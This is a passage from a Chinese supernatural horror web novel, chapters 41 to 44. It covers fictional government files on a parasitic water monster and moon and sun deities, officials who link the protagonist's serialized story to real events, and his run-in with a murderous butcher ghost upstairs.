【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[红心]
40-50
41 第 41 章
◎《水鬼》完结|通知上级◎
【机密文件 | A类诡异事件档案
代号:水怪
描述:2060年8月29日, 两名大学生(身份信息已归档于附录)向G市公安局报案,称龙湖村水域中存在不明生物体。报案人在遭遇后立即返回最近村子寻求协助, 然而整个村子呈现异常静默状态,无一户居民回应。该异常状态持续至次日黎明,村庄随后恢复表面正常活动。
接获报告后,本局立即派遣侦查组G-11小队前往现场进行调查。
G-11小队确认龙湖村水域中的不明实体符合诡异分类标准,确认为诡异事件,以下统一使用代号“水怪”称呼。
水怪体型极为庞大, 根据现场测量数据,其尺寸为目前已知最大型诡异实体的8.7倍。其物理结构使常规武器难以对其造成有效伤害。
值得特别注意的是,水怪在能力范围内并未立即消灭G-11小队成员,而是采取了限制其活动范围的策略, 禁止他们离开划定区域。此种行为模式与之前记录的诡异攻击模式存在显著差异。
特别行动组宴奉命前往执行任务,发现龙湖村村民已遭受寄生现象。后续调查分析推测, 水怪可能将人类宿主作为繁殖后代的生物温床, 而保留G-11小队成员活体状态的目的很可能是为后续产卵行为预留宿主。
水怪最早于2060年8月24日被一名网络用户通过无人机在枫湖水库上空拍摄记录。技术分析部门推测, 水怪很可能是通过枫湖支流系统向下游迁移至龙湖村水域。
本次事件造成死亡71人,体内寄生卵69人,精神异常55人。】
【机密文件 | 绝密类诡异事件档案
代号:月神
描述:月球上的未知存在,血月现象的根源。与特别行动组宴存在尚未明确定义的深层关联。
月神的能量辐射遵循近似三个月的周期性规律(在无干扰情况下)。能量峰值期间会引发明显的“血月”天文异象, 在此期间全球诡异活动明显增强, 躁动程度和破坏力普遍提升。该增强效应定为“狂暴”。
初始情报由诡异王玲玲提出
国家天文观测台6名高级研究员(包括首席天文学家孔文山教授)与11名工作人员在未知情况下直视月神而当场遭受物理结构崩解, 所有目击者均已死亡。
孔文山教授在死前留下警告:“月亮太阳不要看”。
故此得出结论,月神不可直视。】
【机密文件 | 绝密类诡异事件档案
代号:日神
描述:有初步证据表明某未知存在可能与太阳融合或吞噬了太阳的部分结构。与月神类似, 不可直视
迄今为止, 未能确认该存在对地球或人类活动的直接干预证据。】
***
夜色已深, B市机场的灯火依然明亮。宴泠昭拖着疲惫的身躯走出到达厅, 立刻看到了早已等候于此的朱德宏。
朱德宏快步上前,脸上浮现出微笑,伸手接过宴泠昭的背包。
“这次任务辛苦了。”他一边说,一边不着痕迹的打量宴泠昭的面色与状态。
“还好。”宴泠昭说道。
两人并肩走向停车场。
朱德宏适时的提出自己的目的:“我有些事想和你的邻居们聊聊,方便吗?”
宴泠昭微微侧头,像是在倾听身体内部的某种声音,随后点了点头,“可以。”
十分钟后,朱德宏带着宴泠昭来到机场行政楼的一间临时办公室。房间不大,但布置简洁实用:一张办公桌,两张沙发,以及覆盖整面墙的厚重窗帘。
朱德宏习惯性的仔细检查了房间的各个角落,确保没有异常,然后锁上了房门。
“可以放你的邻居们出来了。”他转身对宴泠昭说,语气中带着不易察觉的谨慎。
宴泠昭点头,下一秒,室内温度骤然下降,空气中泛起令人不安的波动。
朱德宏不动声色的注视着宴泠昭周围逐渐出现的几个诡异身影:
何老最先显形,脸上的笑容和蔼可亲,不过莫名透着一股令人不安的渗人感。紧接着是王玲玲,这回她没有抱着脑袋,她的脑袋安安稳稳地待在脖子上。李小虎则略显不安,像个做错事的孩子般躲在角落;而后是田燕婉、王大爷最后是手机鬼。
宴泠昭放出诡异后,困意如同潮水般涌来。他晃了晃头,本能地挪向最近的沙发,然后无力地坐下,身体向后躺,陷入柔软的靠垫中。
“你们聊,我眯一会”他打了个哈欠,原本只是想短暂闭目几分钟,却几乎是立刻就陷入了沉睡,均匀的呼吸声在安静的房间里格外明显。
朱德宏和诡异们交换了一个心照不宣的眼神。
“小声点,别吵醒他。”何老低声提醒,目光警惕的扫过熟睡的青年。
其他诡异纷纷点头,悄悄移动到房间的另一侧。
朱德宏也走了过去,道:“不是说血月三个月一次吗?为什么提前了?”
“正常情况下确实是三个月一个周期,”何老缓缓开口,眼中闪过复杂的光芒,“但今天宴泠昭受到了刺激。”
朱德宏立刻追问:“什么刺激?”
霎时,所有诡异不约而同的看向角落里的李小虎,目光充满责备。
李小虎低下头,手指尴尬的绞在一起,小声嘀咕:“我也不是故意的”
何老叹了口气,接过话题,将事情的经过斟酌着讲述给朱德宏。
“长得和变异太阳一样的诡异?”朱德宏的眉头皱得更紧,看向王玲玲,“怎么之前没听你说过?”
王玲玲慢吞吞的开口,语气冷漠:“你没问。而且太阳对我们没有影响。”
就像她没说李小虎几个小学生其实是被水怪害死的——最先溺水的那个小学生是被水怪拖下去的,后面才导致了葫芦娃救爷爷的情况:一个接一个送。
朱德宏定定凝视着王玲玲,心下喟叹诡异果然是这种德性,要不是血月关乎它们自身的利益,它们巴不得人类全部凄凉惨死。
何老轻咳一声,插话道:“这一回,月亮上的那位恐怖存在距离苏醒又近了。我建议你们不要再让宴泠昭出门了,他待在小区里是最稳妥的。”
“宴泠昭记得自己做了什么吗?”朱德宏回过神,转头看向沙发上熟睡的年轻人。
要不是他及时向G市方面澄清了宴泠昭的身份,恐怕宴泠昭已经被当做诡异对待处理了。
田燕婉的声音幽幽响起:“他应当是不记得了,事后还询问是否是我们出手解决了水底下的诡异。”她的形象在灯光下忽明忽暗,“他完全不知道自己做了什么。”
王玲玲这时突然上前一步,直视着朱德宏,道:“月亮上的那位你们有眉目了么?”
她之所以选择讲出来,就是想借人类之手把对方解决掉。
朱德宏心下一沉,脸上却不动声色,冷静的说道:“宇宙中的事,以人类目前的科技水平还不好应对。”顿了顿,他的目光扫过每个诡异,观察他们的神情,“但我们会想办法的。毕竟,关乎到人类的生存。”
***
宴泠昭醒来时,阳光已经透过窗帘的缝隙洒落在地板上,形成一道明亮的光带。
他眨了眨干涩的眼睛,视线落在陌生的天花板上,一时间思绪混沌,无法确定自己身在何处。几秒钟的茫然后,记忆如同拼图般逐渐拼接完整——
昨晚在机场,朱德宏接他,然后来到这间借用的办公室,他放出了邻居们,之后便倚着沙发准备小憩片刻,结果不知不觉彻底睡了过去。
此时房间里静悄悄的,既没有朱德宏的身影,也看不到邻居们的踪迹。
“何爷爷?”
【“怎么了小宴。”脑海中响起何老温和的声音,熟悉的语调带着一贯的慈祥。】
宴泠昭松了口气,轻轻揉了揉太阳穴。
“没事,就喊喊。朱德宏呢?你们聊完了?”他活动了一下僵硬的颈部。沙发虽然柔软,但显然不是睡觉的理想场所。
【“嗯,后面你睡着了,我们看你太累就没叫你。”何老说,“朱德宏刚才出去买早餐了。”】
宴泠昭正想再问些什么,门口传来脚步声,随后门被推开,朱德宏拿着两个冒着热气的塑料袋走了进来。袋子里装着的是便利店售卖的速食包子。朱德宏另一只手上还拎着一瓶矿泉水。
“醒了?”朱德宏将早餐放在桌上,“先吃点东西垫垫胃,然后我送你回去。”
半小时后,朱德宏开车将宴泠昭送回了家。
回到家中,宴泠昭先是打开窗户通风,让清新的空气驱散室内的闷热,然后脱下衣服,将它们塞进洗衣机,再走进浴室,让温热的水流冲刷去身体的疲惫和脏污。
洗完澡,换上干净舒松的家居服,宴泠昭窝在客厅的沙发里,惬意的眯起眼睛。
暖和的阳光将整个房间都浸染在慵懒的氛围中。
然而,一个突然闯入脑海的念头让宴泠昭猛地睁开眼睛——今天的更新他还没写。
***
打开电脑,打开大纲文档,打开前一天更新的内容,打开一个空白文档准备今天的章节
但就在他点开那个本该空白的文档时,却发现页面上已经填满了文字。
宴泠昭愣住了。
嗯?这些内容是他写的?什么时候?
宴泠昭恍惚下了,随后失神的眼眸恢复焦距,方才的疑惑退去,双手自然地悬在键盘上,准备继续完成未完的内容。
【蔡凯和阿强终于逃出了那片被诅咒的水域,湿透的衣服紧贴在皮肤上,他们瘫倒在岸边,大口喘息着,仿佛溺水者重获新生。那种劫后余生的狂喜让他们拥抱、欢呼,甚至流下了激动的泪水。
“我们活下来了,老天,我们真的活下来了!”蔡凯颤抖着说,声音中满是难以置信的喜悦。
阿强笑着拍打他的肩膀,“是啊。咱们也算是生死之交了,之前的事我跟你道歉,回去后我请你吃饭!”
互相搀扶着离开的两人不知道的是,他们的体内已经悄然被植入了无数微小的卵囊,那是水怪留下的恐怖礼物。
这些卵囊将在他们的胃袋、肝脏中汲取营养成长,等待合适的时机破体而出,寻找新的宿主,孕育更多的同类。
用不了多久,二人所处的城市便将陷入无法挽回的噩梦】
敲下最后一个句号,宴泠昭活动了一下因长时间伏案而僵硬的脖颈,而后将目光落在屏幕左下角的字数统计上:45988字。
他居然一口气写了这么多,而且是直接写到了结局。说起来他原本还纠结到底该怎么写结局,这下不用纠结了。
伸了个懒腰舒展僵硬的身体,接着转头看向窗外,天色已晚——从他开始码字到现在,窗外的光线已然从正午刺眼的白光变为傍晚柔和的橘黄。
整个过程他甚至没感觉到饥饿或口渴。这种创作状态非常难得。
点击发布
上传成功。
十分满意的宴泠昭却不知道此刻在城市的另一端,他刚发布的小说引起了一场不小的骚动。
***
特别档案资料管理处-后勤部
“嗯?”段洁突然直起身子,双眼紧盯着屏幕,手指迅速敲击着键盘,“作者这次居然一口气更新了三万多字?直接把《水鬼》这一篇写完了!”
丁萱迅速点开最新章节,办公室里的其他人也做出同样的动作。
一时间,整个房间里只有鼠标滚轮滑动的声音。所有人都沉浸在文字中,神情专注,宛如在解读某种密码。
十几分钟后,当最后一个人浏览完全部内容,办公室里弥漫着一种几乎凝固的紧张氛围。每个人的表情都凝重得可怕。
“会寄生繁衍的诡异?”周明率先打破沉默,“这这对得上我们现有的任何资料吗?”他转向旁边的同事,眼中满是不安。
丁萱已经迅速调出了资料库,手指在键盘上飞速移动:“正在交叉比对所有诡异事件资料,特别是水系相关的记录。”她的语气冷静专业,但紧绷的下颌肌肉泄露了内心的紧张。
“书里的那两个人——蔡凯和阿强——是真实存在的人物吗?”刘洪博转向情报分析组的方向,“外勤(侦查组)那边有消息没?有没有类似水鬼描述的诡异事件报告?”
办公室陷入了短暂的忙碌,数据分析的声音、电话交谈的声音、键盘敲击的声音混杂在一起。
段洁喃喃道,“一座城市都会沦陷的程度这种繁殖速度,这种隐蔽性”
“通知上级!”丁萱迅速做出决定。
42 第 42 章
◎楼上半夜咚咚咚剁骨头◎
客厅里, 电视屏幕的光映照在昏暗的墙壁上。
女主持人的声音平稳而凝重:【“近日,有市民举报蓝天化工集团涉嫌夜间偷排工业废水, 导致附近河流出现严重污染,水体发黑,鱼类大量死亡。环保部门已紧急介入调查。此行为不仅对生态环境造成了破坏,更对数万居民的饮水安全构成直接威胁,性质恶劣,已触犯相关法律。据悉, 中央已责成相关部门成立联合调查组彻查此事”】
“老婆,我的皮带你瞧见没?怪了,我记得明明就扔在沙发上的。”于浩心不在焉地在客厅里翻找,见妻子吴乐荷一动不动的盯着电视屏幕看得入神, 好奇的凑过去问,“老婆?你看什么呢, 这么专注?”
说着, 他的目光也随之投向了电视。
【“专家提醒, 特殊时期,居民饮用水务必进行彻底高温处理,即完全烧开后再饮用。”】
于浩更是一头雾水:“啥意思?老婆,这新闻说啥呢?”
吴乐荷的眉头几乎拧成死结, 声音带着压抑的怒火和一丝恐慌:“新闻上说——又是蓝天集团, 他们偷偷排放工业废水, 毒性很强。因为发现得太晚,污水已经渗透进了市政供水系统, 直接流入了水厂!现在, 主持人警告我们, 最近家里的自来水必须烧开了才能用!”
她越说越激动, 指着电视屏幕:“你看看!又是蓝天集团!上回就说要严查整改,结果呢?我看他们是把当初举报的人给整改掉了!”
于浩叹了口气,无奈道:“唉,人家是地方上的大企业,纳税大户,这种事最后也就是罚点钱了事,我们普通老百姓,能拿他们怎么样。”
“罚钱?”吴乐荷越想越气,“罚钱有什么用!他们赚得盆满钵满,转眼就能把罚款赚回来,可遭殃的却是咱们这些老百姓!你想想,老陈家的菜地就在那条河边上,用这种毒水浇出来的菜,谁还敢吃?还有小张的父亲,前阵子不是查出了肝病?医生说很有可能跟长期饮用受污染的水有关。”
“那又能怎么办呢?我们升斗小民,胳膊拧不过大腿啊。”于浩摇了摇头。
吴乐荷胸口剧烈起伏,气得说不出话来,半晌才迸出一句:“电视里天天宣传绿水青山就是金山银山,可一转头,这些黑了心的企业照样明目张胆的往河里倾倒毒物!我们辛辛苦苦交税养着环保局,难道他们就真的查不出任何问题吗?我看啊,不是查不出来,而是有些人不想查!”
相似的对话,此刻正在这座城市的千家万户中上演。
***
市政府大楼,会议室。
中央特派员李卫国率先打破沉默,他的声音低沉而有力,在安静的会议室中显得尤为清晰:“舆论方面,目前已按照方案引导,对外统一口径为工业污染事故。但眼下当务之急是——蔡凯和阿强找没找到?”
朱德宏:“李专员,根据我们对现有线索的分析,以及一些特殊渠道的情报比对,已确定水怪诡异就是作者笔下的水鬼。角色阿强和蔡凯则与报案的两名大学生名字均有一个字的重合。”说完,他的目光转向G市负责人许宾鸿。
许宾鸿在众人的注视下点了点头,示意助手将早已备好的资料分发下去。薄薄的几页纸,在与会者手中传递时发出轻微的摩擦声。
待所有人都拿到资料并开始翻阅,许宾鸿开口道:“报案人黄华强、宁鹏凯,二人具体的遭遇过程,虽与小说情节不尽相同,但其核心的行为逻辑链表现出惊人的一致性。目前,两人已被秘密送往指定医疗机构进行全面隔离检查。初步的检查结果也已经出来了,请各位参阅。”
会议室内只剩下纸张翻动的声音。
许宾鸿等待了约莫两分钟,估计众人看得差不多了,才继续道:“检测结果证实,两人的身体内部,确实发现了不明寄生体。医疗小组已通过手术将这些异物尽数取出。”说到这,他顿了顿,似乎在斟酌用词。
“这些寄生体呈现为卵胎生形态,其卵鞘极为微小,肉眼几乎难以察觉。在高倍显微镜下,可以看到卵鞘表面覆盖着一层细密的绒毛——这些绒毛,放大后更像是一个个微型的倒刺抓钩,能够确保其一旦附着,便能死死嵌入宿主组织内部,难以剥离。”
“根据对先前几例已孵化的村民遗体进行的解剖分析,发现这些寄生体在宿主体内会经历一个残酷的优胜劣汰过程。如同未出生的鲨鱼幼崽在母体内自相残杀,吞食同胞,最终只有一个最强壮的个体能够存活下来。”
“需要警惕的是,其在寄生初期,似乎会分泌某种未知的神经毒素或信息素,麻痹宿主的痛觉感知,使其忽略自身生理上的异常变化。不仅如此,这种物质甚至能够在一定程度上影响宿主的思维模式和行为抉择。”
“论据是其中的一名报案人,宁鹏凯,他是龙湖村本地居民。根据他的陈述,在他返回村子后,村里几乎所有人都反复告诫他不要靠近河边。然而,当我们对龙湖村目前尚存活的村民进行问询时,他们对此均表示茫然,声称自己从未发出过此类警告。”
许宾鸿合上手中的资料,目光扫过在座的每一个人:“至于这些寄生体,或者说它们背后的存在,为何要阻止人类靠近河边目前的推测是,水怪诡异需要绝对安静的环境,来完成繁殖。”
***
宴泠昭第三次被楼上制造的噪音吵醒时,拿起手机看了眼,屏幕显示现在时间是凌晨3:17分。
那声音就像是有人在用钝器击打着什么,节奏十分均匀,每一下间隔的时间都差不多。宴泠昭躺在床上,盯着天花板,感觉每一次“咚”都直接敲在自己的太阳穴上。
宴泠昭将脑袋埋进被子里,但毫无用处。那声音仿佛能穿透一切障碍物,固执的钻进宴泠昭的耳膜。
这已经是第三晚了。
——第一天,宴泠昭以为是楼上半夜收拾东西,忍了;第二天,宴泠昭想上楼理论,但中途社恐发作,放弃了;而现在,宴泠昭的耐心已然全部耗尽。
“咚咚咚”
宴泠昭坐起身,窗外路灯的光透过窗帘缝隙,在墙上投下一道惨白的光线。宴泠昭盯着那道光线看了几秒,掀开被子下床。
地板冰凉,宴泠昭摸索着穿上拖鞋,随手抓起挂在椅背上的外套,出门上楼。
楼道里的感应灯随着宴泠昭的脚步声亮起,昏黄的灯光把宴泠昭的影子拉得很长。
站在楼上那户人家门前,宴泠昭再次确认——没错,动静就是从这扇门后传出的。不过以防万一,若是搞错了岂不尴尬,宴泠昭把耳朵贴在门板上,进行第三次确认
声音更清晰了,还夹杂着一种奇怪的、黏腻的摩擦声,像是刀在砧板上拖动。
宴泠昭抬手敲门。
声音戛然而止。
宴泠昭耐心等待,但门内一片死寂。一分钟过去了,仍然没有人来开门。宴泠昭又敲了敲,这次力道更大。
依旧没有回应。
宴泠昭皱眉,把耳朵又一次贴上门板。
绝对的安静,仿佛刚才的声音只是他的幻觉。
也许对方意识到了自己的打扰行为,不敢开门吧。
既然如此,这次警告应该已经足够。
宴泠昭转身准备离开。
可就在他转身的瞬间,后颈突然感到一阵异样,汗毛不由自主地竖了起来。一种被注视的感觉异常强烈,仿佛有什么东西正紧盯着他。
宴泠昭回过头,房门依然紧闭,但那种被窥视的感觉挥之不去,甚至更加明显。他的目光落在门上的猫眼上——那里一片漆黑。太黑了,不像是猫眼该有的样子,更像是
垂眸想了想,宴泠昭突然凑近猫眼,贴了上去。
门后,一只布满血丝的眼睛正阴恻恻的盯着宴泠昭。瞳孔大得离谱,几乎占据了整个眼眶。而且一下都没有眨,就那么直勾勾的、死死的盯着宴泠昭。
宴泠昭内心毫无波动,没有后退,只是微微皱了皱眉。猫眼里的眼睛也没有移动,他们就这样对视了好几秒钟。
终于,宴泠昭语气冷淡的开口道:“我看到你了,我知道你在家,请不要再制造噪音了。”
猫眼里的眼睛消失了,仿佛被拉进了黑暗深处。应该是那人离开了门前。
宴泠昭本想再说些什么,但见对方态度如此,他只好转身下楼回家。
就在这时,一股若有若无的气味飘进了宴泠昭的鼻腔——像是某种腐败的气息,混合着刺鼻的化学药剂味道。
宴泠昭停下脚步,回头又看了一眼那扇紧闭的房门。
***
上午九点。
宴泠昭醒来后照常将邻居们放出来,让他们各回各家。除了手机鬼,手机鬼在小区没有家,只能和宴泠昭待在一起。
因睡眠不足,宴泠昭散发着低气压。
手机鬼见到宴泠昭眉宇间的倦色,忙不迭凑上前,小心翼翼的问道:“您这是怎么了?”
宴泠昭按了按隐隐发胀的太阳穴,嗓音带着几分沙哑与倦怠:“没睡好,楼上这几天一到半夜就咚咚咚剁骨头。”
应该是剁骨头,他猜的。
手机鬼一听,精神陡然一振,深知表现的机会来了,忙殷勤的自告奋勇:“这好办!我去跟他理论理论!”
当然,这所谓的“理论”,十有八九是威胁。
手机鬼憋闷了这么多天,早就摩拳擦掌想寻个“软柿子”捏捏了。
什么?你说是同类?捏的就是同类!人类他反而不捏,有宴泠昭这个小祖宗在,他哪儿敢在太岁头上动土。反倒是收拾同类,说不定还能得宴泠昭一句半句的夸赞。
“不用。”宴泠昭端起桌上刚冲泡好的速溶咖啡喝了口,神色恹恹的道:“我昨天已经找他说过了。”
只是对方到底答没答应不知道,得看今天晚上。
手机鬼面上应着,心底却已将此事牢牢记下。
傍晚,所有人在宴泠昭家吃晚饭——诡异是不用吃饭的,但要吃也行,就是没有意义,非要说的话,只起到个解馋作用。
饭后,宴泠昭缩回房间玩手机。他最近更新完了《水鬼》,目前没有开新篇的想法,打算休息一阵子再说。
客厅。
手机鬼清了清嗓子,刻意压低声音,道:“你们知道楼上住的谁吗?”
田燕婉:“怎么?”
手机鬼把楼上大半夜制造噪音吵得宴泠昭睡不好的事说了一遍。
李奶奶苍老的声音缓缓响起:“好像是个姓杨的屠夫,就在附近的那个菜市场出摊。只不过他从前卖的是寻常动物的肉,现在嘛,不好说哟。”
手机鬼搓了搓手,试探着问:“那你们和他关系怎么样?”
众诡哪里看不出他的意思,何老笑呵呵的说道:“我们对待同类间的方式是什么你难道不知道?只是在宴泠昭这里不一样而已。”
手机鬼瞬间了然。它不着痕迹的瞥了眼宴泠昭紧闭的房门,身形一晃,便悄无声息的穿门而出。
他前脚刚走,李奶奶不紧不慢的声音后脚便再次幽幽响起:“那个小杨可不是什么善茬。”
43 第 43 章
◎我要报案,我楼上的邻居涉嫌谋杀◎
手机鬼站在楼上住户门前, 感知着门内的气息。他比较谨慎,不会不衡量敌我实力就贸然行动。若对方比他强, 那不完犊子了,他可不认为宴泠昭会为救他。
片刻后,手机鬼得出结论——对方实力不及他。这一判断令手机鬼大部分顾虑烟消云散,直接虚化身形,穿门而入。
门内的景象看上去还挺正常,就是一户普通人家的样子。
手机鬼目标明确, 径直朝厨房去。他感应到屠夫鬼就在厨房里静悄无声的停驻在厨房门口,手机鬼决定先观察一番再出手。
只见一个身材壮硕的男人背对着他,身着黑色防水防污围裙,一副标准屠夫装束。手持一把大砍刀, 正专注地剁着什么,“咚咚咚”的砍击声听得人耳膜鼓涨。
可见屠夫鬼并非只在夜间活动, 白天, 或者说傍晚也有勤恳工作。
只是奇怪的是, 白天他似乎有意控制,楼下几乎听不见动静,然一到深夜就仿佛放飞自我。
若说是不想打扰邻居,这行为多少有些本末倒置——不对, 除了宴泠昭是白昼醒夜晚眠外, 其他住户都是非人类, 作息是倒转过来的,从这个角度看, 屠夫鬼没毛病。
但谁叫他是宴泠昭的鬼呢?讨好宴泠昭, 自然要以宴泠昭的需求为准。
所以, 抱歉了。
手机鬼假惺惺的想着, 诅咒的力量自他身上悄然溢出,无声无息的流向屠夫鬼。
“咚!”
屠夫鬼再次重重挥下砍刀,这一次不仅斩断了整块肉骨,更深深嵌入了厚实的木菜板。紧接着,他猛的转身,充血的双眼如锁定猎物般死死盯住手机鬼。
虽然被发现让手机鬼略感意外,但也仅仅是一点。这不过证明屠夫鬼敏锐罢了,被发现又如何?真要动手,还不是他——
嗯?!
手机鬼瞪大双眼,神情凝固在难以置信的惊骇中。
下一秒,他的身体如被无形之刃切割,分崩离析成无数碎块,纷纷坠地。
什么时候?!
掉落在地的眼球眼睁睁看着高大的屠夫鬼步步逼近,面容笼罩在血煞之气中,抬脚毫不留情地踏下。
“砰!”眼球在重压下爆裂成浆。
手机鬼:“”
布豪!大意了!有没有人救救救救救——
躺在床上玩手机的宴泠昭忽然打了个喷嚏。
天色渐暗,夜幕很快降临。
宴泠昭准备把诡怪们召回体内时,一种隐约的违和感浮上心头。
1,2,3,4他仔细清点了一番,发现少了一个鬼,好在他记性不错,粗略环视一圈后,意识到是缺了手机鬼。
“李亮呢?”他出声询问。
手机鬼不记得自己生前是谁,叫什么名字。吸收了李亮的怨气后被冲击得几乎完全是李亮的形状——也不知道到底是谁吞噬了谁。
总之,为了方便称呼,宴泠昭索性直接叫他李亮。反正二者在外形上基本一致。
“不知道。”王玲玲慢吞吞的说道,“不过我看见他吃完饭没多久就出去了。”
“我不是说过不要随意外出吗?”宴泠昭神色恹恹,“万一吓到小区里其他人怎么办。”
宴泠昭还不知道除了自己以外,整个小区居民皆非人类,全是鬼怪。区别只在于有的觉醒了,有的还没觉醒。
“你们谁出去找下他,或者知不知道他在哪,我去找。”
何老看着明显不悦的宴泠昭,缓缓开口道:“我见他神色匆忙,似乎提到要上楼找人谈些事情。”
手机鬼敢在那个时间点去找屠夫单挑,大概率是自信能够速战速决,不料惨遭滑铁卢,以至于没能按时回来。
好半点没讨着,反而令讨好对象生了厌。
何老说出来也不是好心,诡异就没一个良善之辈,他之所以说出来,纯粹是宴泠昭问了,且态度明确:要找到手机鬼。
但凡宴泠昭稍微犹豫那么一点点,他都不会吐露半个字。
“他上楼找人?找什么”宴泠昭话至一半,突然住口。
他大概知道了,手机鬼必定是去找楼上那位住户了。
出发点是好的,但宴泠昭希望下不为例——明明他都说了不用管。
宴泠昭平生最烦麻烦事,连普通社交活动都被他归入麻烦之列,遑论处理纷争。他担忧手机鬼已越界行事。
而以目前迟迟未归的情况判断,多半已成事实。
但愿没有伤及无辜。
宴泠昭面容冷峻,起身上楼寻鬼
“叩叩叩”
宴泠昭叩门三下,声音平静:“请问有人在家吗?”
屋内寂静无声。
宴泠昭继续敲门。
“咔嚓”
房门应声打开。
宴泠昭随之怔住。
只见开门之人身形高大,迫使他不得不仰头相望;体格壮硕,轻松抵得上他两个有余。
感觉是能一拳打死人的体量。
宴泠昭默了默,道:“晚上好,我是楼下的住户,昨天也找过你。”
浓重的血腥味扑面而来,宴泠昭胃部一阵翻涌,强烈的反胃感几乎难以抑制。他憋住气,才勉强忍下来。
“这几天您半夜动静颇大,是在剁骨头吗?方便让我进去看看吗么?”宴泠昭随口编造着理由,主要是想进去找手机鬼。
虽然他自己都觉得这理由牵强得莫名其妙,仿佛在暗示对方涉嫌不法行为。
——李奶奶说了,他楼上住的是一位屠夫。
职业因素,身上有血腥气无可厚非,剁骨头也正常。只是不应该在半夜进行,属实是有点没素质了。
屠夫布满血丝的眼睛静默的审视着表情平静的宴泠昭,几秒后,那具高大壮硕的身躯向旁移了一步,让出一条进入的通道。
“欢迎”他的声音低沉沙哑,仿佛长久未用,“请进。”
“打扰了。”
宴泠昭踏入屋内,身后的门被屠夫阖上,发出一声几不可闻的“咔哒”声。
密闭空间里,血腥味更浓烈了,还夹杂着一股难闻刺鼻的化学药剂的味道。
廊灯昏暗,将两人的影子拉长扭曲,屠夫的影子尤为庞大,几乎将宴泠昭的影子完全笼罩。
宴泠昭环顾四周,房子内部出奇的整洁,与血腥气息形成鲜明对比。客厅陈设简单却井然有序,没有丝毫凌乱痕迹。
“您的家很干净。”宴泠昭礼貌客观的评价,同时目光不着痕迹的搜寻着手机鬼的踪迹。
屠夫缓步走向厨房,“人各有癖好。我喜欢整洁。”
宴泠昭跟随其后。
厨房门半敞开着,里面的光线比客厅更亮,也更刺眼。
刚抵达厨房门口,宴泠昭就听见一阵窸窸窣窣的声响,像是塑料袋发出的声音。
“那是什么声音?”宴泠昭随口一问,目光开始搜寻厨房的每个角落。
“小动物。”屠夫语调平淡,“我把它装在了塑料袋里。”
果然是塑料袋的声音。
宴泠昭“哦”了一声。
这很正常,尤其对于常见食用动物,比如鸡,若要带回家现杀,通常会先捆住其脚,再用黑色垃圾袋罩着。据说这样处理,鸡会保持相对安静。
走进厨房,墙壁上斑斑点点溅洒着血迹,与先前整洁的客厅相比就像是两个地方。地板更糟,由于鞋底的来回碾压,血液已凝结成黑色,踩上去黏糊糊的,很恶心。
厚重的菜板上摆放着几块不知道处没处理好的肉块,洗手池内更是堆满了尚未处理的生肉。
地面上散落着数个扎紧的黑色塑料袋,内容物使袋体鼓胀不平,隐约可见里面装着的物体的轮廓。宴泠昭推测,大概也是肉类,或者小动物。
仔细看了一圈,未能发现手机鬼的踪迹,宴泠昭准备退出这令人不适的空间,心中构思着探查其它房间的借口。正想着,屠夫猛然抽出嵌在菜板上的砍刀,转身朝他看来。
宴泠昭再次对上那双布满血丝的眼睛,友好的建议道:“您的眼睛状况看起来不太好,血丝过多,可能是干眼症的征兆。建议您抽空看一下医生。”
屠夫:“”
空气凝固。
就在这凝滞的氛围中,角落里的一个黑色塑料袋突然颤动几下,发出一阵窸窣声响。
宴泠昭偏头看去
袋子里装的正是被肢解成数块的手机鬼,听见宴泠昭的声音,他拼命挣扎,试图引起宴泠昭的注意。
奈何宴泠昭从未想到鬼怪也能被物理分解,且那垃圾袋的体积与形状,怎么看都不似装有人形物体的样子,因此未生半点疑虑。
或许是未能从宴泠昭平静的表情中读出预期的恐惧,屠夫怀疑这位送上门的猎物反应迟缓,需要更直接的刺激。
是以,他大步走向那个不安分的塑料袋,粗壮的手臂轻松提起,动作利落地解开了紧绑的袋口。随后,将袋中的内容物毫不客气地倒在地上,如同倾倒厨余垃圾。
手机鬼没有内脏,也不存在血液。被切割成数块后,它只剩下类似肉块的实体,外观近似仿真玩具——只不过,这“玩具”多少带着令人不适的血腥气息,可能只有在万圣节的时候才卖得出去。
宴泠昭困惑的注视着地面上散落的肉块,眉头微蹙,不解屠夫此举用意。
“你不要了吗?”他问。
依旧没有从宴泠昭身上感受到恐惧的屠夫:“你就不害怕吗?”
宴泠昭:“为什么害怕?”
屠夫注视着青年那双平静到近乎死寂的眼睛,内心的兴致逐渐消退。
没有恐惧气息的猎物确实少了几分诱人的香气,但在死亡面前,所有生命最终都是相同的。
或许,等到他真正动手时,这张平静的面孔就会露出他期待的恐惧。
怀揣着这一念头,屠夫猛然挥动砍刀,朝宴泠昭砍去。
得益于近期在军队中接受的专业训练,宴泠昭的身体几乎是本能地做出反应——一套行云流水的动作瞬间完成:侧身、闪避、格挡,再加一个精准的擒拿,砍刀已然易主。紧接着,他右脚蓄力,猛然踹向屠夫的膝关节。
“咔嚓”一声脆响,屠夫重重跪倒在地,表情凝固在难以置信的震惊中。
这发展方向明显超出了屠夫的预期。
如果手机鬼能读心,知道屠夫此刻的心理活动,也想说是啊,这发展不对!
成功制服屠夫后,宴泠昭再次将注意力转向地上散落的手机鬼残肢。这些碎块依然给人强烈的虚假感,不像是真实的人体组织,但
宴泠昭面无表情地大步走向洗手池,然而池中水质浑浊,根本看不清状况。
所幸厨房有筷子可用。宴泠昭抽出一根,搅动池水。随着水面泛起圈圈波澜,一颗被压在底部的眼球缓缓浮了上来,然后是几根手指。
这时,身后传来破风声。
宴泠昭敏捷转身,只见屠夫已然站起,面目狰狞地再次扑来。他从容应对,又是一套行云流水的丝滑操作,轻松将对方再度制服。
随后,宴泠昭掏出手机,拨打了报警电话,
“我要报案,我楼上的邻居涉嫌谋杀”
【作者有话说】
[星星眼]
44 第 44 章
◎人类终末通告◎
话音未落, 又是一阵破风声。
厨房里的所有刀具全部脱离了原本的位置,如被无形的力量操控, 悬浮于半空。下一瞬,全部直奔宴泠昭的面门而来。
宴泠昭不得不松开屠夫,接着快速俯身下蹲,同时向侧方翻滚躲过。金属利器擦身而过,深深嵌入身后的墙壁,发出沉闷的声响。
——这显然已经不是普通事件了。
“不好意思, 是我弄错了,没事了。”语速飞快的对电话那头说道,声音冷静平稳。不等对面回话,宴泠昭直接挂断了电话。
屠夫从地上爬起来, 充血的眼睛死死的盯着宴泠昭。
空气中的血腥味似乎更重了应该?宴泠昭也不确定,毕竟从进到厨房开始, 他的鼻子就几乎快被厨房里浓郁的腥气熏得失灵。
“你是鬼?”宴泠昭站起身, 审视的看着屠夫。
屠夫咧嘴露出一个恶意满满的笑容, 周身漫溢出肉眼可见的黑色气息
